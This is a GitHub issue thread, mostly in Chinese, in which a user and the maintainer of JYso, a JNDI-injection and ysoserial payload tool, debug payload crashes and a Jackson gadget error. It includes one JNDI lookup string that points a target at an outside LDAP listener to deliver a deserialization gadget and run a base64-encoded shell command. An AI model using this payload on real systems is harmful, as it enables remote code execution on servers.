qi4L / JYso

It can be either a JNDIExploit or a ysoserial.
GNU General Public License v3.0
1.48k stars 174 forks source link

有些payload发送之后会导致服务端jndi进程强制退出 #11

Closed ViCrack closed 1 year ago

ViCrack commented 1 year ago

师傅我用的是3.2最新版,测了一下

  1. 发送JRE8u20请求后进程强制退出了 测试代码:
${jndi:ldap://1.1.1.1:1389/Deserialization/**JRE8u20**/command/Base64/{{base64(ping -c 3  1.1.1.1)}}}

图片

  1. 对于JRE8u20_2还是存在NPE异常的情况(详情https://github.com/qi4L/JYso/issues/10)

图片

  1. 对于Jackson,会出现报错,原因不明
Error while generating or serializing payload
javassist.NotFoundException: writeReplace(..) is not found in com.fasterxml.jackson.databind.node.BaseJsonNode
        at javassist.CtClassType.getDeclaredMethod(CtClassType.java:1356)
        at com.qi4l.jndi.gadgets.Jackson.getObject(Jackson.java:35)
        at com.qi4l.jndi.controllers.SerializedDataController.sendResult(SerializedDataController.java:54)
        at com.qi4l.jndi.LdapServer.processSearchResult(LdapServer.java:123)
        at com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptorRequestHandler.processSearchRequest(InMemoryOperationInterceptorRequestHandler.java:831)
        at com.unboundid.ldap.listener.StartTLSRequestHandler.processSearchRequest(StartTLSRequestHandler.java:309)
        at com.unboundid.ldap.listener.LDAPListenerClientConnection.run(LDAPListenerClientConnection.java:582)
qi4L commented 1 year ago

奇怪我Jackson没报错啊。

qi4L commented 1 year ago

image

ViCrack commented 1 year ago

用的是jdk8启动的吗,有没可能是jdk不同?

qi4L commented 1 year ago

用的11启动的

qi4L commented 1 year ago

image

ViCrack commented 1 year ago

我用的是jdk8,jackson这个payload我晚点再验下jdk11的

不过其他的payload应该好复现吧

图片

图片

qi4L commented 1 year ago

image

qi4L commented 1 year ago

OK了

ViCrack commented 1 year ago

Jackson我测出来了,重点在于触发多次

只要第二次开始就会报错

猜测是第一次删掉了writeReplace方法,第二次又重新getDeclaredMethod则会出错

qi4L commented 1 year ago

是呢,之前在issues提到过了

ViCrack commented 1 year ago

那这个getDeclaredMethod处加个trycatch应该就行了,毕竟第一次已经删除writeReplace过了,就不用再删

https://github.com/qi4L/JYso/blob/fa7a6f8c0bf258a58b4262bfc0d87be04dd5b77d/src/main/java/com/qi4l/jndi/gadgets/Jackson.java#L35

其他的几个问题,我测了下最新版已经修复了

qi4L commented 1 year ago

OK